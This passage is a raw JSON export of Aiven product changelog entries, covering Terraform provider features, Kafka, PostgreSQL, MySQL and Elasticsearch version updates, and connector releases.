"}],"markDefs":[{"_key":"3364f4063821","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs/resources/dragonfly"}],"style":"normal"},{"_key":"cc78e5246f69","_type":"block","children":[{"_key":"36329f29f171","_type":"span","marks":[],"text":"Added the service integrations "},{"_key":"7d34e801342d","_type":"span","marks":["code"],"text":"external_aws_cloudwatch_logs"},{"_key":"49d2dac0a7a6","_type":"span","marks":[],"text":", "},{"_key":"c5d7531f6d57","_type":"span","marks":["code"],"text":"external_elasticsearch_logs"},{"_key":"7e92d7d3a3ac","_type":"span","marks":[],"text":", "},{"_key":"0681c3c2581f","_type":"span","marks":["code"],"text":"external_opensearch_logs"},{"_key":"4a773caa82ac","_type":"span","marks":[],"text":", and "},{"_key":"e79f666b4a35","_type":"span","marks":["code"],"text":"prometheus"},{"_key":"ba32cdfd5339","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"306e7101a3b4","_type":"block","children":[{"_key":"9254bcd511060","_type":"span","marks":[],"text":"Added a safety check for purging the IP filter list using the "},{"_key":"d12a4ef5e8dd","_type":"span","marks":["code"],"text":"AIVEN_ALLOW_IP_FILTER_PURGE"},{"_key":"8c0e8b5d9384","_type":"span","marks":[],"text":" "},{"_key":"1c01f44a7654","_type":"span","marks":["f6642974f378"],"text":"environment variable"},{"_key":"6fe366c3385a","_type":"span","marks":[],"text":" to restrict access to a service from the internet."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f6642974f378","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs#environment-variables"}],"style":"normal"},{"_key":"56bfe8544029","_type":"block","children":[{"_key":"9ef044d8107c0","_type":"span","marks":[],"text":"Converted "},{"_key":"9ef044d8107c1","_type":"span","marks":["code"],"text":"ip_filter_object"},{"_key":"9ef044d8107c2","_type":"span","marks":[],"text":" into a set. This was one of the most requested features."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"791da9e88e98","_type":"block","children":[{"_key":"a57ac1e848ca","_type":"span","marks":[],"text":"Additionally, with this release, the "},{"_key":"b4b04d4ecead","_type":"span","marks":["code"],"text":"aiven_organization_user_group_member"},{"_key":"eb793cbd60ff","_type":"span","marks":[],"text":" and "},{"_key":"f2bab726597a","_type":"span","marks":["code"],"text":"aiven_organization_group_project"},{"_key":"bcab8fee09de","_type":"span","marks":[],"text":" resources are no longer in beta."}],"markDefs":[],"style":"normal"},{"_key":"bf18afa69980","_type":"block","children":[{"_key":"8f4468dd22220","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, see the "},{"_key":"8f4468dd22221","_type":"span","marks":["3075c1a4c972"],"text":"documentation"},{"_key":"8f4468dd22222","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3075c1a4c972","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"}],"publishedAt":"2024-03-21T11:10:32.142Z","tags":[{"_key":"34acb0afef60","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Dragonfly now supported in Aiven Provider for Terraform"} {"_createdAt":"2022-10-27T09:07:29Z","_i18n_lang":"en","_id":"7e1ff980-9aa9-4ac6-91e3-71b2971ab3b7","_rev":"WYf15BwQWb3V4yHfbxOtbf","_type":"changelog","_updatedAt":"2022-10-27T09:07:29Z","changeType":"","description":[{"_key":"160fdcf4-8c25-489b-b8a9-a0d62a72f8e5","_type":"block","children":[{"_key":"26306a7d-13c3-4c07-9edd-a2bff21faa72","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"1b066464-4c50-4644-a27e-df6ba44f2aba","_type":"span","marks":["m13378864420351"],"text":"Elasticsearch 6.8.4"},{"_key":"47db9c42-b539-4334-bd39-6b626edb3792","_type":"span","marks":[],"text":" and "},{"_key":"09411f7c-88a7-4f8f-8dc6-fedb567f94bc","_type":"span","marks":["m12636694598526"],"text":"Kibana"},{"_key":"635774cd-fb6e-4aed-9f06-226e2ac1011f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13378864420351","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.8.4.html"},{"_key":"m12636694598526","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.8.4.html"}],"style":"normal"}],"publishedAt":"2019-11-01T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 6.8.4 is now available"} {"__i18n_lang":"en","_createdAt":"2024-08-09T15:05:04Z","_id":"7e9fc909-1dcc-4ad9-90d7-19861fd11b4b","_rev":"BVM0UzymoPXcfHGeYm4fL3","_type":"changelog","_updatedAt":"2024-08-09T15:10:45Z","changeType":"improved","description":[{"_key":"42deb75a5ebb","_type":"block","children":[{"_key":"bc84b49203270","_type":"span","marks":[],"text":"Follower fetching in Aiven for Apache Kafka® is now supported on Google Cloud, in addition to AWS. To learn more, see the "},{"_key":"bc84b49203271","_type":"span","marks":["8cc314aec833"],"text":"Follower fetching documentation"},{"_key":"bc84b49203272","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"8cc314aec833","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/follower-fetching"}],"style":"normal"}],"publishedAt":"2024-08-09T15:04:00.000Z","tags":[{"_key":"387b65c11200","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Follower fetching now supported on Google Cloud"} {"_createdAt":"2022-10-27T09:08:29Z","_i18n_lang":"en","_id":"7ec28922-3be8-48dd-bd04-8d1e0c8fee9d","_rev":"7JYD5XroFCjaK9NJzk3w4i","_type":"changelog","_updatedAt":"2022-10-27T09:08:29Z","changeType":"","description":[{"_key":"f58821c7-b187-4dc1-85c5-17b092ea9eba","_type":"block","children":[{"_key":"e24ad2df-10aa-4ebc-b229-f9cc4e30349d","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"1a453880-2d08-464a-9c68-c67edd9389d7","_type":"span","marks":["m15812326390981"],"text":"Elasticsearch 5.6.16"},{"_key":"7812f322-486f-4dc1-8a76-33ae843fde50","_type":"span","marks":[],"text":" and "},{"_key":"0b1a0c23-0c04-4c59-a5f4-e26d04086df1","_type":"span","marks":["m8211506855748"],"text":"Kibana"},{"_key":"26565f08-d176-40b0-b551-b937445f3c59","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15812326390981","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/5.6/release-notes-5.6.16.html"},{"_key":"m8211506855748","_type":"link","href":"https://www.elastic.co/guide/en/kibana/5.6/release-notes-5.6.16.html"}],"style":"normal"}],"publishedAt":"2019-05-12T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 5.6.16 is now available for Elasticsearch 5.6 users"} {"_createdAt":"2022-10-27T09:04:45Z","_i18n_lang":"en","_id":"7edcecfa-100d-45b4-b030-09c3e884585e","_rev":"GNtcCQgxf3P3DqpLt1ixe9","_type":"changelog","_updatedAt":"2022-10-27T09:04:45Z","changeType":"","description":[{"_key":"ad198f93-def3-495b-a2d4-179cc18208ea","_type":"block","children":[{"_key":"d33da9b3-6b0b-4772-ae7a-a7a04c4fa49d","_type":"span","marks":[],"text":"Please see the "},{"_key":"f38b4561-3801-4b41-b5c1-52247c9d732a","_type":"span","marks":["m1064487154504"],"text":"release notes"},{"_key":"70f26dde-5330-4cfa-a77c-50de205601c4","_type":"span","marks":[],"text":" and the "},{"_key":"9881d345-9caa-44c7-b122-daadda0009a3","_type":"span","marks":["m12924829827529"],"text":"documentation"},{"_key":"f70bdde6-79d8-4517-910e-f13c9cacc7de","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1064487154504","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.4.1"},{"_key":"m12924829827529","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.4.1"}],"style":"normal"}],"publishedAt":"2021-03-25T00:00:00.000Z","tags":[{"_key":"4677db9c-8a89-4622-a532-974e790fd04b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.4.1"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:28:10Z","_id":"7efbb03e-c252-40e6-9309-372cc7ed370b","_rev":"pnOvEyahjeT2Gte9feekG3","_type":"changelog","_updatedAt":"2023-01-31T08:37:43Z","changeType":"new","description":[{"_key":"19f305153f8d","_type":"block","children":[{"_key":"22fcbcf05d170","_type":"span","marks":[],"text":"Aiven for PostgreSQL now allows replication slots to be recreated in the event of a node replacement. In case of failover or controlled switchover of an Aiven for PostgreSQL service, the replication slots from the old primary service are recreated in the new primary service before opening connections and redirecting the traffic to the new service. The recreation of replication slots feature is enabled automatically and doesn't require restarting the nodes. For more information, see "},{"_key":"d33b7ac64b1c","_type":"span","marks":["b7e5fc001637"],"text":"Recreation of replication slots"},{"_key":"b0f465cf316f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b7e5fc001637","_type":"link","href":"https://docs.aiven.io/docs/products/postgresql/concepts/upgrade-failover.html#recreation-of-replication-slots"}],"style":"normal"}],"publishedAt":"2022-12-02T15:29:00.000Z","tags":[{"_key":"ff08d9300a92","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Automatic recreation of replication slots for Aiven for PostgreSQL"} {"_createdAt":"2022-10-27T09:07:07Z","_i18n_lang":"en","_id":"7f811f90-fa86-4645-930f-86bea75c0b53","_rev":"HEiYk6nGjmUICadcDbTC5P","_type":"changelog","_updatedAt":"2022-10-27T09:07:07Z","changeType":"","description":[{"_key":"c3d71fce-1bd0-4bf6-a753-0620d3d80a69","_type":"block","children":[{"_key":"81d652df-6556-4559-b206-35c4b50f73e7","_type":"span","marks":[],"text":"Master node will be removed from "},{"_key":"f28d9818-be3d-4872-8196-ea38f5172bd3","_type":"span","marks":["code"],"text":"redis_slave"},{"_key":"48901cf9-6aa2-4c4d-86f6-d9dff2d9db16","_type":"span","marks":[],"text":" array. For 1-node Redis service, "},{"_key":"ba2bf316-b52c-43d9-a0dc-9ad9834e2316","_type":"span","marks":["code"],"text":"redis_slave"},{"_key":"3674678f-d447-4326-852e-19dd57831fe0","_type":"span","marks":[],"text":" will be an empty array. For 2-node Redis service, "},{"_key":"e5a1d897-2ec4-4ca1-bdce-dda9152da67f","_type":"span","marks":["code"],"text":"redis_slave"},{"_key":"fb2cdd1b-19e3-453a-ba45-07abecbd8ba8","_type":"span","marks":[],"text":" contain only the slave."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-02-13T00:00:00.000Z","tags":[{"_key":"43e6aaf6-6379-47c9-867e-d864db673835","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Change \u003ccode\u003econnection_info\u003c/code\u003e in \u003ca href=\"https://api.aiven.io/doc/\"\u003eAiven API\u003c/a\u003e for Redis services"} {"_createdAt":"2022-10-27T09:04:56Z","_i18n_lang":"en","_id":"7fed83a6-d780-42a2-a817-2c7caa506e75","_rev":"GNtcCQgxf3P3DqpLt1iyZR","_type":"changelog","_updatedAt":"2022-10-27T09:04:56Z","changeType":"","description":[{"_key":"9fbab3b0-47b5-4426-a000-01905ff9f696","_type":"block","children":[{"_key":"5dc55afe-ddd7-4d88-b6e4-269fb75086f7","_type":"span","marks":[],"text":"Please see the "},{"_key":"486f0c36-0a4c-4411-98a0-a1f136ac6e5c","_type":"span","marks":["m13626312543710"],"text":"release notes"},{"_key":"de5e56b6-e555-49bb-878e-34acd2b5c54c","_type":"span","marks":[],"text":" and the "},{"_key":"7feb9c42-65cb-41a4-ab15-1bfc41269651","_type":"span","marks":["m13441964090321"],"text":"documentation"},{"_key":"f8e44e4f-04ec-4796-8d8c-27b76c8115ed","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13626312543710","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/releases/tag/v0.2.0"},{"_key":"m13441964090321","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/v0.2.0/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2021-02-25T00:00:00.000Z","tags":[{"_key":"4fed9d8b-2a03-455b-904f-d6641ed700e1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink HTTP connector have been updated to version 0.2.0"} {"_createdAt":"2022-10-27T09:11:29Z","_i18n_lang":"en","_id":"8011439b-b0d9-4989-be95-bd0b159f4868","_rev":"RS2LhK1JP0SKK0JvX1RYf1","_type":"changelog","_updatedAt":"2022-10-27T09:11:29Z","changeType":"","description":[{"_key":"448fa52e-461f-4780-8099-43438f55c6df","_type":"block","children":[{"_key":"f16bc591-d238-4102-881c-3b4f3faa219d","_type":"span","marks":[],"text":"To find out what's changed please see the release notes for "},{"_key":"aea8ab47-4f79-48fe-afc6-27ec2a1c78e2","_type":"span","marks":["m2341247832978"],"text":"Kibana"},{"_key":"55f6c5ae-f8a9-4699-b9c3-2140af8feca3","_type":"span","marks":[],"text":" and "},{"_key":"ae127c89-d659-46ba-a729-74d9045ddb11","_type":"span","marks":["m12402758231604"],"text":"Elasticsearch"},{"_key":"761622f5-88aa-4cf5-8f96-232f198fa002","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m2341247832978","_type":"link","href":"https://www.elastic.co/guide/en/kibana/5.5/release-notes-5.5.1.html"},{"_key":"m12402758231604","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-5.5.1.html"}],"style":"normal"}],"publishedAt":"2017-08-08T00:00:00.000Z","tags":[],"title":"Added support for version 5.5.1"} {"_createdAt":"2022-10-27T09:08:52Z","_i18n_lang":"en","_id":"9e6851cf-23fd-4422-94f9-8852205f4728","_rev":"HEiYk6nGjmUICadcDbTRFZ","_type":"changelog","_updatedAt":"2022-10-27T09:08:52Z","changeType":"","description":[{"_key":"55834def-b455-4647-93ff-df4331105c3f","_type":"block","children":[{"_key":"79b68910-f53f-46d2-9365-c5db1a406c54","_type":"span","marks":[],"text":"All new services will be using this version and existing services have an optional maintenance update that can be applied to update. To see what's new see the "},{"_key":"1d432d0f-cf03-4238-934b-bc9fb8f1ae05","_type":"span","marks":["m7427258684717"],"text":"Datadog Agent release notes"},{"_key":"f9d879e1-7b28-4cdc-924f-2096ff0774b4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7427258684717","_type":"link","href":"https://github.com/DataDog/datadog-agent/blob/master/CHANGELOG.rst"}],"style":"normal"}],"publishedAt":"2019-03-06T00:00:00.000Z","tags":[{"_key":"c8e6f009-1248-4789-bfc3-acc18208326a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"918fd55d-b6c8-4850-aa77-89c3c9ea9edb","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"f4a9dd1a-dc41-4a45-9990-c9c1abb558ae","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Datadog Agent version 6.10.0 is now available"} {"__i18n_lang":"en","_createdAt":"2023-11-08T10:25:02Z","_id":"80a0fb1f-1856-42c0-bec4-239005a18af5","_rev":"YgPujUcKQ2JSpcKSYY9Rgh","_type":"changelog","_updatedAt":"2023-11-08T10:25:02Z","changeType":"improved","description":[{"_key":"41eab0859fa9","_type":"block","children":[{"_key":"8dd2cca5d9a50","_type":"span","marks":[],"text":"Aiven's S3 Sink Connector for Apache Kafka has been updated to version 2.15.0."}],"markDefs":[],"style":"normal"},{"_key":"0889c4137f6a","_type":"block","children":[{"_key":"70e794882ada0","_type":"span","marks":["strong"],"text":"New feature:"}],"markDefs":[],"style":"normal"},{"_key":"f6fdf60c33ce","_type":"block","children":[{"_key":"96d389deb35b0","_type":"span","marks":[],"text":"Added a validator for S3 bucket names to ensure compliance with AWS's specific naming standards."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bf7f03a155d7","_type":"block","children":[{"_key":"f63ea0ef26a30","_type":"span","marks":["strong"],"text":"Improvements and fixes:"}],"markDefs":[],"style":"normal"},{"_key":"6a92d74688e6","_type":"block","children":[{"_key":"8dc0eb3196070","_type":"span","marks":[],"text":"Upgraded to Aiven Commons library version 0.12, featuring a new topic-partition-key record grouper for improved record organization."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f289247bbd3","_type":"block","children":[{"_key":"dc7894ac87720","_type":"span","marks":[],"text":"Improved the documentation for grouping records and made it more user-friendly, providing clear guidance to assist users."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a49bc0b8154b","_type":"block","children":[{"_key":"2565343fbae10","_type":"span","marks":[],"text":"Corrected log messages to accurately reflect the connector's start process."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"893bee8f7755","_type":"block","children":[{"_key":"525547f98a960","_type":"span","marks":[],"text":"For more details, see the "},{"_key":"525547f98a961","_type":"span","marks":["6228d91444ed"],"text":"S3 connector for Apache Kafka changelog"},{"_key":"525547f98a962","_type":"span","marks":[],"text":" and the "},{"_key":"525547f98a963","_type":"span","marks":["2c1e801bc4f1"],"text":"S3 connector for Apache Kafka documentation"},{"_key":"525547f98a964","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6228d91444ed","_type":"link","href":"https://github.com/Aiven-Open/s3-connector-for-apache-kafka/releases/tag/v2.15.0"},{"_key":"2c1e801bc4f1","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.12.1"}],"style":"normal"}],"publishedAt":"2023-11-08T10:21:00.000Z","tags":[{"_key":"781a0fbd2b35","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Update Aiven Kafka S3 Sink Connector to version 2.15.0"} {"_createdAt":"2022-10-27T09:02:11Z","_i18n_lang":"en","_id":"822c20c5-aba5-4f67-8de7-eb58a63db870","_rev":"4JMA3H9bBgAwAcyypVV4OV","_type":"changelog","_updatedAt":"2023-05-22T15:42:54Z","changeType":"","description":[{"_key":"a40ea7aec71c","_type":"block","children":[{"_key":"d15350c73c2a0","_type":"span","marks":[],"text":"Please see the "},{"_key":"b3056017ceea","_type":"span","marks":["16cd93ec3297"],"text":"documentation"},{"_key":"f5a9c73d854b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"16cd93ec3297","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/service-forking"}],"style":"normal"},{"_key":"413cb7ae9ccc","_type":"block","children":[{"_key":"d15350c73c2a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-22T00:00:00.000Z","tags":[{"_key":"d8b6f443-8474-459a-801a-f1d231f35053","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"0352b875-19dd-40d0-9519-6385a55fddbe","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Legacy TLS versions that were enabled for services will no longer be inherited by forking."} {"_createdAt":"2022-10-27T09:08:53Z","_i18n_lang":"en","_id":"82e5fbd1-b88b-47b2-a208-f128bf7d4220","_rev":"7JYD5XroFCjaK9NJzk3wkG","_type":"changelog","_updatedAt":"2022-10-27T09:08:53Z","changeType":"","publishedAt":"2019-02-28T00:00:00.000Z","tags":[{"_key":"23c0cad1-c49c-4e9a-b0d8-eed5876a4082","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"fd36fd12-dd98-4b78-8d38-d42ad31ca3de","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Debezium, a CDC connector for Kafka and PostgreSQL has been updated to version 0.9.2 and now includes support for SQL Server"} {"__i18n_lang":"en","_createdAt":"2022-11-23T13:11:13Z","_id":"84ecd924-6f43-4ad1-85dc-895b8ae2bc39","_rev":"6wJ6OxF1mPB2I3zefuhR6P","_type":"changelog","_updatedAt":"2023-01-26T11:29:07Z","changeType":"improved","description":[{"_key":"1fcb80b815a3","_type":"block","children":[{"_key":"070999a8afac0","_type":"span","marks":[],"text":"Aiven for MySQL has been updated to minor version 8.0.30. You can now enjoy even more powerful functionality thanks to a variety of improvements that this release introduces, such as bug fixes and new or enhanced features for increasing data security and tuning memory performance. For more details on what this release covers, see "},{"_key":"99edeafd02b7","_type":"span","marks":["a387752d560b"],"text":"Changes in MySQL 8.0.30"},{"_key":"f23afc06e2fe","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a387752d560b","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-30.html\\"}],"style":"normal"}],"publishedAt":"2022-11-23T13:13:00.000Z","tags":[{"_key":"d84a1d2cc107","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL has been updated to version 8.0.30."} {"_createdAt":"2022-10-27T09:03:15Z","_i18n_lang":"en","_id":"85633dd1-fd10-4d48-8381-6fe918a05cf5","_rev":"KIlpVp44L6B7auDNL66AU4","_type":"changelog","_updatedAt":"2022-10-27T09:03:15Z","changeType":"","description":[{"_key":"1c0e57e8-6228-451d-a48c-dbf76e12bd96","_type":"block","children":[{"_key":"b7c38c9e-2f87-4e6a-9aec-f2f2172ba1e8","_type":"span","marks":[],"text":"To see what's new see the "},{"_key":"03927bb2-2a7f-4323-8b01-ff4d836aeddc","_type":"span","marks":["m7427258684717"],"text":"Datadog Agent release notes"},{"_key":"ce524b1c-38f9-4e6b-875b-bb0e10226816","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7427258684717","_type":"link","href":"https://github.com/DataDog/datadog-agent/blob/master/CHANGELOG.rst"}],"style":"normal"}],"publishedAt":"2021-12-13T00:00:00.000Z","tags":[{"_key":"b88e37d4-b98f-4833-9823-40374af9c77d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"b758bd67-fe12-4568-b420-b05ae4adfdb8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"ef57480d-d1ef-440b-889f-c959565f8874","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Datadog Agent version 7.32.2 is now available"} {"_createdAt":"2022-10-27T09:04:11Z","_i18n_lang":"en","_id":"85841d98-2b17-4c92-8eb1-43435f72a459","_rev":"rHrbN7cdfRjM6CvZf3JFlC","_type":"changelog","_updatedAt":"2022-10-27T09:04:11Z","changeType":"","description":[{"_key":"7770d68a-3162-4d69-a4f0-ed3b6b41bf48","_type":"block","children":[{"_key":"08139e1b-da5e-4bf5-9daf-fb7075548ecb","_type":"span","marks":[],"text":"The initial admin user of the DB will automatically be a member of these roles."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-05-27T00:00:00.000Z","tags":[{"_key":"974eff4c-2efe-4af0-bd44-b5beb5cedf5c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"On PostgreSQL 12 and 13 services the following system roles can now be granted to users: pg_read_all_stats, pg_stat_scan_tables, and pg_signal_backend"} {"_createdAt":"2022-10-27T09:02:39Z","_i18n_lang":"en","_id":"85c66835-1a33-4dac-a9d1-42a86fcca7fc","_rev":"zF7BMhNhvYpWtPMfHNMWUg","_type":"changelog","_updatedAt":"2022-10-27T09:02:39Z","changeType":"","publishedAt":"2022-05-12T00:00:00.000Z","tags":[{"_key":"b7150757-636c-4c76-b626-710665cdb7f9","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.4.7"} {"_createdAt":"2022-10-27T09:11:32Z","_i18n_lang":"en","_id":"86501f82-503b-4dd3-b064-ddbfb982f881","_rev":"zF7BMhNhvYpWtPMfHNO6gs","_type":"changelog","_updatedAt":"2022-10-27T09:11:32Z","changeType":"","description":[{"_key":"5e74dff5-528a-4efc-b37b-58b4248a2bd9","_type":"block","children":[{"_key":"30768ca3-2307-4533-ab4c-6cb420d6a7e8","_type":"span","marks":["code"],"text":"dblink_fdw"},{"_key":"cf0bd8e3-b7b6-4ea6-a277-2a1c6755fc2b","_type":"span","marks":[],"text":" allows you to connect to remote PostgreSQL services from within your database and to run queries on them. To see our full list of extensions see our "},{"_key":"e2e06be2-317c-4543-84b8-3125a1be296e","_type":"span","marks":["m5421210493369"],"text":"help article"},{"_key":"710a0e9c-a37d-4878-ac35-fa8ffa90ee22","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5421210493369","_type":"link","href":"https://help.aiven.io/postgresql/extensions/supported-postgresql-extensions"}],"style":"normal"}],"publishedAt":"2017-07-23T00:00:00.000Z","tags":[{"_key":"63ec7951-5b93-4ddb-bf94-f6b7ca4f85d3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Added support for the extension \u003ccode\u003edblink_fdw\u003c/code\u003e "} {"__i18n_lang":"en","_createdAt":"2023-05-08T14:01:29Z","_id":"86e1cc55-4676-4e29-8c44-1b50928c0ee7","_rev":"ZguNxh1j7N84eEhLymmGAF","_type":"changelog","_updatedAt":"2023-05-15T07:21:29Z","changeType":"new","description":[{"_key":"c3b3a46707d0","_type":"block","children":[{"_key":"d13d5e36f3ad0","_type":"span","marks":[],"text":"We are excited to announce that Aiven for Apache Kafka® now supports Apache Kafka® 3.4.0, the latest release from the Apache Kafka community. This new version introduces a host of new features and enhancements, detailed in the "},{"_key":"d13d5e36f3ad1","_type":"span","marks":["f8680ef1c9b7"],"text":"Apache Kafka 3.4.0 blog"},{"_key":"d13d5e36f3ad2","_type":"span","marks":[],"text":" and "},{"_key":"d13d5e36f3ad3","_type":"span","marks":["85adf88b3228"],"text":"Apache Kafka 3.4.0 release notes"},{"_key":"d13d5e36f3ad4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f8680ef1c9b7","_type":"link","href":"https://blogs.apache.org/kafka/entry/what-s-new-in-apache9"},{"_key":"85adf88b3228","_type":"link","href":"https://archive.apache.org/dist/kafka/3.4.0/RELEASE_NOTES.html"}],"style":"normal"},{"_key":"c557bf6b00c3","_type":"block","children":[{"_key":"3024b3e321e20","_type":"span","marks":[],"text":"You can now upgrade your existing Aiven for Apache Kafka service to version 3.4.0 using the Aiven console. For more information on the upgrade procedure, see "},{"_key":"09e9de74745a1","_type":"span","marks":["5679e1fc7787"],"text":"Apache Kafka® upgrade procedure"},{"_key":"09e9de74745a2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"5679e1fc7787","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/concepts/upgrade-procedure#"}],"style":"normal"}],"publishedAt":"2023-05-15T07:20:00.000Z","tags":[{"_key":"f9493c9b15cc","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka® 3.4.0 now supported on Aiven"} {"_createdAt":"2022-10-27T09:08:19Z","_i18n_lang":"en","_id":"871d8992-f502-4df5-a277-3a45dc324f55","_rev":"ncjVtEY290Sap8rHbFwhs0","_type":"changelog","_updatedAt":"2022-10-27T09:08:19Z","changeType":"","description":[{"_key":"b7f47d2f-86e6-46d4-8a5b-14aca7bdd5bf","_type":"block","children":[{"_key":"ffb0966d-d961-4547-80be-7d01472aa24b","_type":"span","marks":[],"text":"The new options can be used in addition to the previously enabled PLAIN mechanism."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-18T00:00:00.000Z","tags":[{"_key":"60b67c43-7f6b-48d2-8702-bf971aeb22c3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Enable SCRAM-SHA-256 and SCRAM-SHA-512 mechanisms for Kafka SASL authentication"} {"_createdAt":"2022-10-27T09:09:11Z","_i18n_lang":"en","_id":"87952ba1-6950-4d0e-89bb-c2fa9156df05","_rev":"WYf15BwQWb3V4yHfbxPJpz","_type":"changelog","_updatedAt":"2022-10-27T09:09:11Z","changeType":"","description":[{"_key":"863aeda9-3a2e-420b-8b82-e39604a4a0df","_type":"block","children":[{"_key":"42dcd493-f12f-4ca5-b9c8-27e9775621d4","_type":"span","marks":[],"text":"Select a Kafka service which has Connect enabled and go to Kafka Connect tab. Using this feature may require applying a maintenance update."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-12-07T00:00:00.000Z","tags":[{"_key":"9d1fd806-21b2-4238-8245-34342ca8fd2d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect can be managed from Aiven console"} {"__i18n_lang":"en","_createdAt":"2023-06-26T13:41:21Z","_id":"87f9a18a-cb89-4e45-8d80-364e7de47824","_rev":"XZCFBQN7u3p4u4Zd9JRz7N","_type":"changelog","_updatedAt":"2023-08-17T09:36:57Z","changeType":"improved","description":[{"_key":"72133761f922","_type":"block","children":[{"_key":"d4f8f19db9ec0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 15.4, 14.9, 13.12, 12.16, and 11.21, which contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"018cbf0d4b19","_type":"block","children":[{"_key":"27965e2c2c080","_type":"span","marks":[],"text":"See "},{"_key":"27965e2c2c081","_type":"span","marks":["23bda05c5ea1"],"text":"PostgreSQL release notes"},{"_key":"27965e2c2c082","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor 